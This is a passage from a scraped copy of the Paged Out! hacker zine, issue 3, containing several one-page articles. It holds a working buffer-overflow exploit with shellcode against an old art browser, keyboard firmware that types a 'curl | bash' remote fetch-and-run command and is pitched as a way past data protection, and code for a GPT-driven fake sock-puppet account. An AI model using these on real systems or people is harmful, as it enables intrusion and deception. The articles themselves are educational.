0% found this document useful (0 votes)
42 views60 pages

PagedOut 003 Beta1

Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
42 views60 pages

PagedOut 003 Beta1

Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 60

Hi, I'm Aga and I'm the new Editor-in-Chief of Paged Out!

:)

Joining the project, I knew that it was important to many people,


but I was still pleasantly surprised when I read emails or tweets
Paged Out! Institute expressing the happiness that after a long hiatus, Paged Out! is
https://pagedout.institute/ coming back.

Project Lead
Gynvael Coldwind It showed me the power that putting diverse, interesting,
complex, or ground-breaking ideas on one page has.
Editor-in-Chief
Aga It took a while for us to get here, to the point where we can share
the Issue with you, but now we're back, and we're here to stay.
DTP Specialist
tusiak_charlie
Issue 3 happened because of all the great authors who took
their time to write engaging, interesting, and all-around great
DTP Programmer
one-page articles and submitted them to us.
foxtrot_charlie

Full-stack Engineer I would also like to thank our reviewers for their hard work and
Dejan "hebi" dedication and our DTP team that made this comeback possible,
as well as everyone else who helped us along the way.
Reviewers
KrzaQ, disconnect3d, There is still work to be done and changes to be made, but with
Hussein Muhaisen, Max, such a wonderful team and community on our side, the future of
Xusheng Li, CVS Paged Out! looks bright.

Additional Help
kele, Arashi Coldwind, As we are releasing this Issue into the world, we hope you will
enjoy it, share it with others, and allow it to inspire you to write
Mateusz "j00ru" Jurczyk
something of your own.

We would also like to thank:


Happy reading!
Artist (cover)
Ricardo Juchem
https://ricardojuchem.com/ Feedback and submissions can be sent to
[email protected] or you can come and join us on
https://x.com/RicardoJuchem
Discord (https://gynvael.coldwind.pl/discord)

Additional Art
cgartists (cgartists.eu)
Aga
Templates Editor-in-Chief
Matt Miller, wiechu,
Mariusz "oshogbo" Zaborski
Legal Note
This zine is free! Feel free to share it around.
Issue #3 Donators Licenses for most articles allow anyone to record audio versions and post
celephais, jask, wasp0r, gkelly, them online — it might make a cool podcast or be useful for the visually
madwizard, MrEuds, impaired.
H Lascelles, and others! If you would like to mass-print some copies to give away, the print files are
available on our website (in A4 format, 300 DPI).
If you would like to sell printed copies, please contact the Institute.
If you like Paged Out!, When in legal doubt, check the given article's license or contact us.
let your friends know about it!
Project Management and Main Sponsor: HexArcana (hexarcana.ch)
Hacking Art 4

Your model doesn't give a hack about bugs 6


AIleister Cryptley, a GPT-fueled Sock Puppeteer 7

Beyond The Illusion - Breaking RSA Encryption 8


Oracles - The traffickers of information 9

PNG+ZIP with a twist 10

Keyboard hacking with QMK 11


Build your own keyboard 12
Hardware Serial Cheat Sheet 13
Cold booting the Pi 14

Writing your first Nmap script 15


Hosts file generator 17
Hyperscaling CVD on the IPv4-Space 18
Confusing Defenders by Writing a TLS Handshake 19
TLS Decryption - Block% Speedrun 20
Bypassing a WLAN/WWAN BIOS whitelist on the example of Lenovo G580 21

A minimal Version Control and Continuous Deployment Server with Git and Bash 22
Solving a Snake Challenge with Hamiltonian Cycle 23
This Golang program is also valid Python 24
winapiexec - Run WinAPI functions from the command line 25
Creating PDF/Plain Text Polyglots with LuaLaTeX 26
One parser to rule them all! 28
Transpiling Polling- Based Scripts into Event Driven Scripts using state graph reconstruction 29
The Quest of malloc(0) 30
RPI4 remote debug recipe! 31
Idea behind Khazad-dûm – a TPM2 secret manager! 32
Building a SuperH-4 (dis)assembler 33
Adding a custom syscall without modifying the Linux kernel – eBPF 34
Most common vulnerabilities in C/C++ 35
Help Your Program! 36
Retro Rendering Using an Octree 37
State machines in frontend 39
Python's typing is cursed and I love it 40

A PyKD tutorial for the less patient 41


Deceptive Python Decompilation 42
Trace memory references in your ELF PIE 43
EFFICIENT JOP GADGET SEARCH 44
BSOD colour change trick 45
Wrapping GDB with Python to Easily Capture Flags 46

Leaking Guest Physical Address Using Intel Extended Page Table Translation 47
Exploiting Shared Preferences of Android Apps 48
R3verse$hell As R00tkit 49
Android writeToParcel/createFromParcel mismatch bug 51
Dumping keys from PS4 Security Assets Management Unit via the HMAC trick 52
Crashing Windows CHM parser in seconds using WinAFL 53
Using CodeQL to help exploit a kernel UAF 54
Exploiting PyInstaller 55
Circumventing Online Compiler Protections 56
What's still wrong with hacking competitions 57

How to explain Kubernetes to 10-year-olds? 58


Hacking Art
Art

Hacking Art The crawler function first loads the web page entered
into the browser and searches for links. The crash
The net.art pioneers at the end of the 90's not only happens only after one of the links has been requested.
examined the code of the Word Wide Web that was However, the memory still contains the first URL in a
just being born, but above all they asked themselves predictable memory location. This means there is a
how do we perceive these newly developed surfaces. small part in memory that can be written to,
From this, another question arises: what is a browser? completely independent of the actual buffer overflow.
While the so‐called browser wars were raging on the The address pointing internally to this part of memory
commercial market, some artists developed their own was in my case 0012fb00. Fortunately somewhere in
browser experiments in parallel. the binary itself these bytes were present. At 6f77016b
to be precise.
The I/O/D Webstalker was one of the first art browsers
and is probably still the most famous. In May 2000 it If ECX is now overwritten with 6f77016b, it points to
was honored with the "Webby Award", a kind of 0012fb00, which is then written to EAX. This is read
Internet Oscar, in the category "Internet Art". As with again as an address by the call instruction, but now it
many media art projects, the programmers of can be controlled what is at 0012fb00, because this is
Webstalker were excited with making hidden the memory area where the requested URL was stored.
structures of the web visible. While conventional Now a special link can be crafted: (For readability, the
browsers interpret the received code and usually bytes are represented here in hexadecimal):
display it as programmers imagined, the Webstalker
http://hacking.art:8000/AAAA\xc3\xfe\xe5\x77AAAA.html
offers a different view of surfing the WWW.
These bytes are written backwards into the memory,
The following demonstrates a buffer overflow in the thus resulting in 77e5fec3 which is now located at
I/O/D Webstalker. Hacking Art is interpreted literally address 0012fb00. The call instruction jumps to the
here, and the artwork is actually hacked. location 77e5fec3 and executes the bytes there, no
matter what their original purpose was. To take
To detect a crash, a simple fuzzer was developed that complete control over the code flow, another gadget is
deforms the HTTP protocol and the HTML content in needed. 77e5fec3 points to the following instructions:
various ways. In the end, it turned out that the HTTP add al, 56 & call eax
response code was not processed correctly. Like, this
was bad: 200 OKAAAAAAAAAAAAAAAAAAAAAAA… Since EAX already points to the link, these instructions
increase EAX a bit and jump to it again. This means the
Since the program is old (1998) and, in fact, does not link can be extended by the appropriate length and
include any of today's protection mechanisms, it was appended with executable code.
possible to perform a classic buffer overflow. However, Another obstacle is that the link in memory does not
not without some obstacles. A textbook buffer have enough space for longer shellcode (like msfvenom
overflow would directly overwrite the return value of generated). Webstalker's crawler simply skips links that
CPU's EIP register stored on the stack and thus control are too long. Therefore, only a few instructions can be
the immediate next return in the program. With placed there. But now that the program is completely
Webstalker it is a bit more complicated, but it's under control, code can be placed there that prepares
possible to overwrite another register instead. the final jump to the shellcode stored inside the actual
The overwritten register in this case is the ECX register. buffer overflow payload.
And the crash in the Webstalker happens at the To finally exploit, make a simple HTML page linking to
following unlikely place: this (change hex to real bytes):
mov eax, dword ptr ds:[ecx] <- CRASH http://hacking.art:8000/AAAA\xc3\xfe\xe5\x77AAAAAAAAA
call dword ptr ds:[eax] <- next
AAAA[...]AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x90
\x90\x31\xD2\xB2\x60\x86\x1E\x01\xD7\xFF\xD7AAAA.html
In the first instruction, the crash happens because ECX
is overwritten with 41414141 and can't be retrieved. Listen on 8080 and respond to the connection with the
The instruction mov copies the memory located at the shellcode. For example, generate something like this:
address to which ECX points into EAX. The next
instruction calls a function at the location the address perl -e 'print "HTTP/1.0 200 OKAAAAAAAAA"
in EAX points to. This means that whatever is at the ."\x90"x3674."\xCC"x4."\x6B\x01\x77\x6F".
address that EAX now points to will be called. The "\x90"x530."<shellcode>"'
problem is that, two addresses are needed to redirect
the execution flow. Also, the address in memory Then visit the page with the Webstalker art browser
changes each time the program is executed. But and enjoy Hacking Art!
further investigation showed there is in fact another
not‐changing memory area that can be controlled. For more hacking.art projects visit https://hacking.art

Yannick Westphal
[email protected] || twitter.com/@yawe1337
4 SAA-ALL 0.0.7
1
_0
>

LEADING EUROPEAN PENETRATION TESTING COMPANY

PUBLISHES INSIGHTS FROM 70+ PENTESTS DONE EVERY MONTH

RESEARCH,
PUBLIC REPORTS AND PENTEST CHRONICLES,
AT SECURITUM.COM/RESOURCES
2
_0
>

READ AN ARTICLE
2×× Success

BY ONE OF OUR EMPLOYEES


5×× Server Error

3×× Redirection
MATEUSZ "LEFTARCODE" LEWCZAK

WHO PUBLISHES IN THIS ISSUE ABOUT TPM2 SECRET MANAGER!


3
_0
>

2×× Success

BECOME OUR AMBASSADOR!


CHECK OUR PARTNERSHIP PROGRAM AT

SECURITUM.COM/PARTNERSHIP
Your model doesn't give a hack about bugs
Artificial Intelligence

Explanation
Your model doesn't Consider a pixel with the following values: [122, 89,
150]. These are three one-byte values representing RGB
give a hack about bugs colors in the pixel.
After preprocessing, pixel channels will reach values
between (-1, 1): [-0.04313, -0.30196, 0.17647] - these
This will be a quick story about a bug I made and how a are valid values which should be used for training.
neural network mitigated it.
What actually happened because of the bug, these
Intro floats were wrongly cast to integers, and because of
I was training a neural network for image recognition that they reached the following values:
task (histopathologic cancer detection) and the pipeline [-1120884459, -1097164160, 1043641485]
followed this schema:

The value of wrongly cast integer variables mostly relied


on float’s sign and exponent bit fields, as fraction bits
were in the less significant part of the integer. The
First, we preprocess the data using the figure below shows distribution of values after
preprocess_input function from keras. This function will improper conversion.
scale all image pixels from integers between (0, 255) to
floats valued between (-1, 1). This format is more
convenient for a neural network.

Training data is then stored in the TFRecord file - a As the correct values should be between -1 and 1, the
binary file format developed for efficient loading of bug caused values to reach around -billion if the value
large numbers of records. is negative and +billion if it’s positive. Considering that
reaching 0 is very unlikely, we can assume that each
When the data is ready, we can start the training pixel channel contained one of 2 values (1e9 or -1e9).
process. The generator feeds the neural network with
large amounts of data. The main building block for the Validation
neural network is efficientnet-b2, which is considered a I decided to check if really only the sign bit matters and
very compute efficient stacked convolutional neural-net did introduce a following change in the Generator:
architecture. As the training process continues, the image_data = tf.math.sign(image_data)
neural network optimizes its loss function and increases The pixel values are now -1, 0 (very unlikely) and 1.
its accuracy.
There are 2 possible values for each color in a pixel,
when we plot it, surprisingly, it is very comparable with
The story
its original as seen below
Training the model took (20 epochs) 12 hours on my
laptop to reach 97% accuracy on validation data (data On the left, the original
which was not seen before by the neural network). image. On the right,
Everything seemed fine, until I found out that the input image representation
data to the neural network was corrupted. The after the wrong cast
Generator was wrongly interpreting the input data,
which caused it to cast pixel values from float to
integers! This made the data totally unmeaningful (at
least for humans), nevertheless the neural network The last thing to check was to run training once again
reached an incredible score of 97% val. acc.! Let’s take a but with the Generator modified. Only after 5 epochs,
deeper look at how that phenomenon happened. the efficientnet reached 94% val. acc.. This means that
the neural network was able to train with only 1 bit per
pixel channel (instead of standard 8 bits).

srakai
https://github.com/Srakai
6 SAA-ALL 0.0.7
AIleister Cryptley, a GPT-fueled Sock Puppeteer
Artificial Intelligence

AIleister Cryptley, a GPT-fueled # Load environment variables


openai_api_key = os.getenv('OPENAI_API_KEY')
sock puppeteer x_api_key = os.getenv('X_API_KEY')
Have you ever wondered how to make your sock puppet x_api_secret_key = os.getenv('X_API_SEC')
more fleshed out without any substantial work on your x_access_token = os.getenv('X_ACC_TOKEN')
behalf? Now, with LLMs (large language models) to x_access_token_secret = os.getenv('X_ACC_TOKEN_SEC')
help you, it’s easier than ever. x_bearer_token = os.getenv('X_BEARER_TOKEN')

# Initialize OpenAI
The goal openai.api_key = openai_api_key
Imagine that you are new to OSINT, and you’ve heard Now, we want to post the tip. This can be done with
that at some point, it would be good for you to make the following piece of code.
a fake profile on social media for your investigations. def post_to_twitter(message: str) -> None:
However, you’re a busy fellow. There’s just no way you client = tweepy.Client(
can handle an imagined persona. Incorporating posting consumer_key=x_api_key,
on social media into your schedule might be a daunting consumer_secret=x_api_secret_key,
task. But fret not! AIleister is here to help. access_token=x_access_token,
access_token_secret=x_access_token_secret,
The idea bearer_token=x_bearer_token
)
Most of us know that the LLMs can talk about literally client.create_tweet(text=message)
anything now. ChatGPT even passed the Turing test
a few months back. We can use it to our advantage Finally, we can add some posting time randomization
and make it say things for our sockpuppet. Introducing: and finish the script.
AIleister Cryptley – a cybersec occultist. He recently if __name__ == "__main__":
started sharing pieces of gpt-generated cybersec tips on if random.randint(1, 100) == 1:
Twitter. All by himself! tip = get_tip()
The plan of the game is as follows. We start by generating
if tip:
a message to post – that’s what ChatGPT will do for us.
delay_minutes = random.randint(0, 60)
The output will be a ready-to-post string that we will –
time.sleep(delay_minutes * 60)
after some random delay – post on social media (Twitter
post_to_twitter(tip)
in this example). This way, we will simulate the activity
of an actual person on our account.
The wrap-up
The implementation There are several things to note.

If we know what we want to do, the rest of the project is • The part about getting the API keys and storing
trivial. You can even ask ChatGPT to generate it for you them in the environmental variables wasn’t covered
(and tweak it a little). First, we need to get a ChatGPT on this page. Luckily, it’s not that complicated.
tip. We can use the following function for that. • Access to OpenAI API is not free (that’s why the
def get_tip() -> Optional[str]: script uses a cheaper gpt-3.5 model).
response = openai.ChatCompletion.create( • An extended version of the presented code can be
model="gpt-3.5-turbo-16k", found on my GitHub (link in the footer). You
messages=[ can find the setup description and broader explana-
{"role": "system", "content": tion/justification of the code in the README.
"You are a human knowledgeable in "
"cybersecurity, programming and AI."}, • The script runs have to be scheduled. You can use
{"role": "user", "content": CRON (Linux/Mac) or Task Scheduler (Windows)
"Can you give me a tweet-length " to do that.
"cybersecurity, programming or AI tip " • AIleister’s Twittter can be found here.
"(or trivia)? It can also be a pun."}
]
The disclaimer
)
return response.choices[0].message['content'] This page was not generated by AI (although the temp-
tation was there).
But, to use OpenAi’s API (or Twitter API), we need API
keys. By storing them in the environmental variables,
we can easily access them!

Tomasz Rybotycki
https://github.com/Tomev
https://twitter.com/TRybotycki
SAA-ALL 0.0.7 7
Beyond The Illusion - Breaking RSA Encryption
Cryptography

Beyond The and thus not private. d is the only secret factor of the
private key. Whenever the public key is sent to another
Illusion - Breaking party across a (potentially) unsafe medium, e and N are
made public and d is kept private.
RSA Encryption Encryption and Decryption
Many people seem to think that encryption is some Having the keys, encryption (1) and decryption (2) is
kind of black box in which magic is done that is only done in two simple calculations. In these calculations,
comprehensible by the best in the field. This article e and d are used as exponents over the message or ci-
aims to not only put in perspective how encryption can phertext, after which the result is used for the modulo
be broken, but also to show the reader that encryption is operation to get the ciphertext or original message.
sometimes nothing more than simple mathematics. This Ciphertext = M essagee mod N (1)
article will hopefully add to the reader’s understanding d
of cryptography so that they may realize that cryptog- M essage = Ciphertext mod N (2)
raphy, in Snowden’s words, is no arcane, black art. It’s
a basic protection! Public Key Acquired - Now What?
RSA (Rivest-Shamir-Adleman) is a widely used asym-
metric cryptographic algorithm. There are a few meth- The RSA problem typically hinges on the factorization
ods of breaking it if it is implemented incorrectly. The challenge of large primes, with success probabilities be-
method discussed in this article is a mathematical attack coming higher when dealing with small values for N .
on RSA that focuses on factorization attacks in order to That’s why, for demonstration purposes, the public key
derive the private key from the public key, which is more for the example in this article is public = (3, 33) and
commonly known as the RSA problem. the ciphertext we’re going to decrypt is the number 5. In
order to derive the private key, the private key exponent
Key Generation (d) needs to be discovered. This is done by reversing the
made calculations with the following three steps.
It is important to understand the process of key genera- 1) Factorizing N for discovery of p and q: The
tion when it comes to factorization attacks. Keysets are first step of cracking RSA is factorizing N to dis-
generated in four steps, which are: cover the primes used to produce it: p and q. This
1) Choosing primes: The first step of generating the can be done by algorithms like Pollard’s Rho Inte-
keys involves choosing two random prime numbers ger Factorization algorithm. For this example, N is
p and q in which p ̸= q in order to calculate N = pq. easy to factorize: 33 = p ∗ q = 11 ∗ 3.
These form the base of the two keys. 2) Calculating φ(N ): With p and q, the next step is
to calculate φ(N ) for which it counts that φ(N ) =
2) Calculating φ(N ): In order to advance, the totient
φ(p)φ(q) = (p − 1)(q − 1) = 20.
of N (denoted as φ) is calculated. The totient of N
is the amount of (natural) numbers that are lower 3) Discovery of d: With φ(N ), the next step is to use
or equal to N and only share the factor 1 with N . this totient with e to calculate d. Because d ≡ e−1
Because N is a product of two primes, the following (d is the multiplicative inverse of e), it can be said
counts: φ(N ) = φ(p)φ(q) = (p − 1)(q − 1). that ed modφ = 1, which should lead to the value
of d and thus the private key. By substituting what
3) Determining the public key exponent: The
is already known in the equation ed mod φ = 1, we
following step is about determining the exponent
can conclude that 3d = 21. This means that d = 21
that is used in the equation for the public key, given 3
and thus that d = 7, which effectively gives out the
the variable name e. e must be between 1 and φ,
private key!
meaning that 1 < e < φ(N ). Another requirement
With the above calculations it becomes clear that
for e is that it is relatively prime compared to φ(N ).
This means that they have no common divisor other private = (7, 33) is the private key. By using the earlier
than 1. documented calculation (2), the plaintext message can
7
4) Calculating the private key exponent: Finally, be calculated by solving 5 mod 33 = 14! This can be
the private key exponent (denoted as d) is calcu- tested by encrypting the plaintext again with the docu-
lated so that ed ≡ 1 mod φ(N ). This is done us- mented
3
calculation for encryption (1). This means that
ing the Extended Euclidean Algorithm and is also 14 mod 33 = 5, which is the original ciphertext and
known as modular inversion. By modular inver- confirms that the private key has successfully been de-
sion, it is possible to solve for d by calculating rived!
d = e − 1 mod φ(N ). Cryptography is tricky, as this example illustrates.
Never roll your own crypto – it’s a recipe for problems!
This results in the number pairs public = (e, N ) and Using tested and tried libraries prevents errors like these
private = (d, N ). In this case, N is publicly known (barring quantum computer threats for now ,).

Max van der Horst


https://www.divd.nl/people/Max%20van%20der%20Horst
8 CC0
Oracles - The traffickers of information
Cryptography

Oracles: The Merovingians of Blockchain theoretically prevent oracle manipulation by attackers. However,
during the $LUNA crash, its value dropped rapidly to $0.000042, while
Chainlink reported 0.1$, enabling attackers to potentially increase
their stakes by about 2000 times.
[Cypher] Ignorance is bliss

[Sati] "Will We Ever See Him


The world of blockchain promised to revolutionize traditional finance
Again?" [Oracle] "I Suspect
and its applications. Beginning with the reinvention of cash through
Bitcoin, a cascade of scientific papers and whitepapers emerged, So...Someday."
detailing various blockchain use cases. One of the most pivotal of
these was the whitepaper on the Ethereum Virtual Machine (EVM),
which introduced a decentralized system that runs "smart contracts.".
A few days after the $LUNA crash, its creator launched a new
However, these "smart contracts" are essentially programs published
cryptocurrency addressing the flaws of the original. However, he was
on the blockchain, and due to the immutable nature of the blockchain,
determined to retain the name "LUNA." His solution was to rename
they remain fixed and ignorant of external factors. This poses
the vulnerable currency to $LUNC (C for Classic) and name the new
challenges when dealing with data that changes over time, like
one $LUNA. This switch required all exchanges to recognize the name
exchange rates. To address this kind of challenges, a category of smart
change upon the release of the new cryptocurrency, necessitating
contracts called oracles was developed.
synchronization between oracles and protocols. While many oracles
successfully updated the name, several protocols utilizing these
oracles unfortunately didn't transition between the two
[Morpheus] Remember... all I'm cryptocurrencies simultaneously. As a result, some remained
offering is the truth. Nothing more vulnerable for days, during which attackers could sell $LUNC at
$LUNA's price, allowing them to significantly multiply their stakes.
Notably, upon the launch of the new $LUNA, the two currencies had
distinct values, with 1 $LUNA equating to 50,000 $LUNC.
Oracles are typically viewed as external information (or truth) sources
outside the blockchain, vital for applications ranging from
decentralized exchanges to sports betÝng platforms. These oracles
feed data to decentralized exchanges, recreating market [Neo] "Choice. The problem is
environments, a use that's gained immense popularity recently. This choice"
has led many to investigate these smart contracts for potential
vulnerabilities. While there are other applications for oracles, such as
football match outcomes and pseudo-random number generation,
The choice of oracle is paramount, but it's clear that regardless of
they won't be covered in this article, in which we will only detail three
which one is chosen, vulnerabilities always lurk. One defensive
examples of where the oracle usage can go wrong, and one fix
strategy for smart contract developers is to diversify their choices,
suggestion.
relying on multiple well-audited and reputable oracles. This minimizes
the direct impact of an attack on any single oracle. Additionally, the
results from these oracles should be aggregated using a manipulation-
[Seraph] "Did You Always Know?" resistant function (e.g., the median). This ensures that an attacker
would need to compromise the majority of oracles to successfully
[Oracle] "Oh, No. No, I Didn't... But target the smart contract.
I Believed. I Believed!"

In May 2022, the "fortress" protocol was completely emptied.


Attackers managed to extract all the funds from its smart contract [1].
Subsequent post-mortem [2] analyses identified the culprit: a
manipulation of the oracle the protocol used, and believed, known as
the "umbrella network". A specific line of code in the oracle had been
inadvertently commented out and not uncommented before
deployment, introducing a vulnerability. This code change bypassed
the necessary checks for a user submitÝng a price. This vulnerability
remained undetected for nearly 9 months before being exploited.

[Oracle] "Everything That Has A


Beginning Has An End." [1]
https://web.archive.org/web/20220509050940/https://twitter.com/Bl
ockSecTeam/status/1523530484877209600
Also in May 2022, the cryptocurrency $LUNA experienced a severe [2] https://medium.com/umbrella-network/post-mortem-chain-
crash due to an economic vulnerability. This sharp and drastic decline exploit-2022-05-08-6007801b321d
triggered a "safety" feature in the Chainlink oracle, which froze the
cryptocurrency's price at $0.1, even as its real value continued to [3]
plummet, signaling the end of the currency. Chainlink, one of the https://web.archive.org/web/20220513042750/https://twitter.com/C
most widely used oracles in the ecosystem, had this safety mechanism ertiKAlert/status/1524969442895175692
in place, functioning like a circuit breaker during extreme price
fluctuations beyond set thresholds. This design was intended to

Farid AYOUJIL - Rempart Cyber


https://twitter.com/Rempart_Cyber
SAA-NA-TIP 0.0.7 9
PNG+ZIP with a twist
File Formats

Legend:
41 41 AA PNG header
41 41 AA PNG chunks (odd)
41 41 AA PNG chunks (even)
https://github.com/gynvael/random-stuff/tree/master/png-zip-twist 41 41 AA ZIP structures

00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG.... ....IHDR|


00000010 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff |........ ........|
00000020 61 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e |a....pHY s.......|
00000030 c4 01 95 2b 0e 1b 00 00 00 2a 66 7a 49 50 50 4b |...+.... .*fzIPPK|
00000040 03 04 14 00 00 08 08 00 00 00 00 00 60 4b 73 ac |........ ....`Ks.|
00000050 7d 00 00 00 10 04 00 00 08 00 12 00 49 44 41 54 |}....... ....IDAT|
00000060 2e 62 69 6e 0e 00 47 43 bd d9 86 4d 00 00 00 7f |.bin..GC ...M....|
00000070 49 44 41 54 38 8d 63 0c d5 9c fd 9f 81 02 c0 c2 |IDAT8.c. ........|
00000080 c0 c0 c0 b0 ea 5a 0a 59 9a c3 b4 e6 40 0c 80 71 |.....Z.Y [email protected]|
00000090 48 01 30 4b 99 70 49 10 eb 2a 14 03 d0 35 13 63 |H.0K.pI. .*...5.c|
000000a0 08 8a 01 30 6f a0 d3 03 ef 82 55 d7 52 50 30 32 |...0o... ..U.RP02|
000000b0 60 61 40 03 d8 9c 8f cf 2b 70 03 c8 4d 0b 8c 94 |`a@..... +p..M...|
000000c0 a6 44 86 50 cd d9 ff 89 05 e8 6a 43 35 67 ff c7 |.D.P.... ..jC5g..|
000000d0 9b 12 61 de 0a d3 9a 83 e2 45 64 3e 0b 36 0d 30 |..a..... .Ed>.6.0|
000000e0 45 c4 a4 03 9c 81 88 2f 50 91 e5 28 0e 44 00 eb |E....../ P..(.D..|
000000f0 06 7b de 26 89 24 d9 00 00 00 6c 65 7a 49 50 50 |.{.&.$.. ..lezIPP|
00000100 4b 01 02 14 00 14 00 00 08 08 00 00 00 00 00 60 |K....... .......`|
00000110 4b 73 ac 7d 00 00 00 10 04 00 00 08 00 00 00 00 |Ks.}.... ........|
00000120 00 00 00 00 00 81 b4 00 00 3e 00 00 00 49 44 41 |........ .>...IDA|
00000130 54 2e 62 69 6e 50 4b 05 06 00 00 00 00 01 00 01 |T.binPK. ........|
00000140 00 36 00 00 00 ff 00 00 00 30 00 53 6f 72 72 79 |.6...... .0.Sorry|
00000150 2c 20 69 67 6e 6f 72 65 20 74 68 69 73 20 63 6f |, ignore this co|
00000160 6d 6d 65 6e 74 20 f0 9f a4 b7 0a ea 04 41 58 00 |mment .. .....AX.|
00000170 00 00 00 49 45 4e 44 ae 42 60 82 |...IEND. B`. |
PNG specs: https://www.w3.org/TR/png/#5DataRep ZIP specs: https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT

Creating a PNG+ZIP binary polyglot is, of course, trivial – one just needs to concatenate both together (with ZIP at
the end) and that's it. So, this of course isn't a normal PNG+ZIP polyglot! No sir! This one is way more useless.
Its origin story is pretty simple: I was making slides for an upcoming workshop on file formats, and I thought
"heeey, PNG uses DEFLATE/zlib, ZIP uses DEFLATE/zlib, so I wonder if I could make ZIP extract a PNG's IDAT
chunk" (that's the chunk with pixel data... well, filtered pixel data). And so I went to create a tool (linked at the top)
that takes a PNG and adds two custom chunks: fzIP before IDAT and ezIP before IEND.
The first chunk (fzIP) contains ZIP's Local File Header (LFH, PK\3\4). The LFH contains all the basic information
about the compressed "file" (called IDAT.bin) and uses the extra fields (i.e. fields that contain custom / OS
specific metadata for a given file in the ZIP archive) to consume fzIP chunk's checksum, IDAT chunk's length,
type, as well as 2 first bytes of the compressed data stream. This last part is because PNG stores the compressed
data with the 2-byte zlib header and ZIP does not (so we need to get rid of it). In effect, the LFH is followed
directly by the ZIP-compatible compressed data stream.
The second added chunk (ezIP) contains two ZIP structures: the Central Directory Header (CDH, PK\1\2) and
End of Central Directory Record (EOCDR, PK\5\6). The first one is basically an extended version of the LFH and
serves as the global archive index. While only LFH has the actual compressed data, the metadata is duplicated
between LFH and CDH, which is pretty useful when repairing corrupted archives. The EOCDR is basically the start
header of a ZIP (or rather footer given that it's at the end of the file). It contains a file offset of the first (and only
in our case) CDH entry (which in turn has the file offset of the matching LFH). It also contains the archive
comment, which is at the end of the EOCDR structure, and which can be used to eat up all remaining parts of the
PNG until the end of file: ezIP chunk's checksum and the whole IEND chunk (length, type, checksum).
One thing to note is that both PNG and ZIP have checksums, but that's not a problem as there thankfully/sadly is
no case where a PNG and ZIP checksum would both fall into each other's checksummed data (this would be a fun
problem to solve, but even without going into CRC32 math it would be fixable using a small 32-bit bruteforce).
Anyway, at the end of the day, what we get is a PNG that can be renamed to .zip and its IDAT chunk would get
extracted and decompressed into IDAT.bin file.
Why is that useful? I already said it's not. It would be a bit more if the IDAT chunk contained straight up a raw
pixel bitmap, but unfortunately there's still a filter layer there (https://www.w3.org/TR/PNG-Filters.html).
Anyway, this was a pretty fun exercise and a fun thing to make :).
CTF{YouFoun
dMe!ThereIs
NoPrizeButG
oodWork!}

Oh btw, this is the PNG image in the hexdump on top of the article (pagedout.institute's favicon) → .

Gynvael Coldwind
https://gynvael.coldwind.pl
https://hexarcana.ch
10 SAA-ALL 0.0.7
Keyboard hacking with QMK
Hardware

Keyboard hacking with QMK


QMK is firmware for keyboards. It runs on high end ergonomic
keyboards as well as tiny macropads that you can get for a few
bucks and solder together yourself, and a hell of a lot in between.

It is extremely customizable. Users can combine features like lay-


ers, combos, tap dance, a leader key, and macros. This last fea-
ture lets us do fun, unexpected things.

For the examples below, I have used a small 8-key macropad


called the Launch Pad by the sadly closed SpaceCat Design. It’s
a great board, but any QMK supported keyboard or macropad
will work for these purposes. The keymap should be placed in
the proper directory of your qmk_firmware checkout, e.g. key-
Figure 1: Photo of the Launch Pad
boards/launchpad/keymaps/pagedout/. For QMK to see
it, it must be called keymap.c, but here you should call it
keymap_base.c and use the Python script below to convert
it to keymap.c. You build and flash the firmware accord- keymap_base.c
ing to the QMK docs; in my case, I use make launch- #include QMK_KEYBOARD_H
pad/rev1:pagedout:flash. enum custkeys { CKC_TS=SAFE_RANGE, CKC_MTX, };
/* My keymap. Each board's is different. */
If you’re trying this on a different QMK-compatible board, the const uint16_t PROGMEM
keymaps[]... at the top will be different for you. The important keymaps[][MATRIX_ROWS][MATRIX_COLS] = {
thing is the registration of the custom keycodes: CKC_TS for the [0] = LAYOUT( KC_F, KC_VOLU,
first hack below, and CKC_MTX for the second one. KC_V, KC_VOLD,
KC_C, CKC_TS,
KC_K, CKC_MTX)};
CKC_TS: Keyboard-based data exfiltration bool process_record_user(
uint16_t keycode, keyrecord_t *record) {
As mentioned, QMK requires that the keymap be called keymap.c, switch (keycode) {
but our keymap contains a placeholder token /*___TYPE- case CKC_MTX: /* The Matrix keycode */
SELF___*/. The program typeself.py will replace that place- if (record->event.pressed) {
holder with the base64’d contents of keymap_base.c itself, and /* Cmd+space (LC_LGUI is the cmd/win key )*/
save the result as keymap.c for QMK to compile and flash onto register_code(KC_LGUI); tap_code(KC_SPC);
the board. (Why base64? It’s just the easiest way to deal with unregister_code(KC_LGUI); _delay_ms(500);
keymap source code which contains quotes, brackets, and other /* Type 'terminal.app' and hit endter */
characters that cannot be inserted into the C source file directly.) SEND_STRING("terminal.app"); _delay_ms(750);
You could use this technique to encode any relatively small chunk tap_code(KC_ENT); _delay_ms(2000);
of data into the board. (Note that the microcontroller powering /* Download a program and run it */
the board will have a pretty small amount of memory.) I bet SEND_STRING("curl http://bruxy.regnet.cz"
your company’s data protection software isn’t looking at keyboard "/linux/matrix/matrix.sh | bash");
firmware! tap_code(KC_ENT);
}
Save the Python script inside the keymaps directory along with return false;
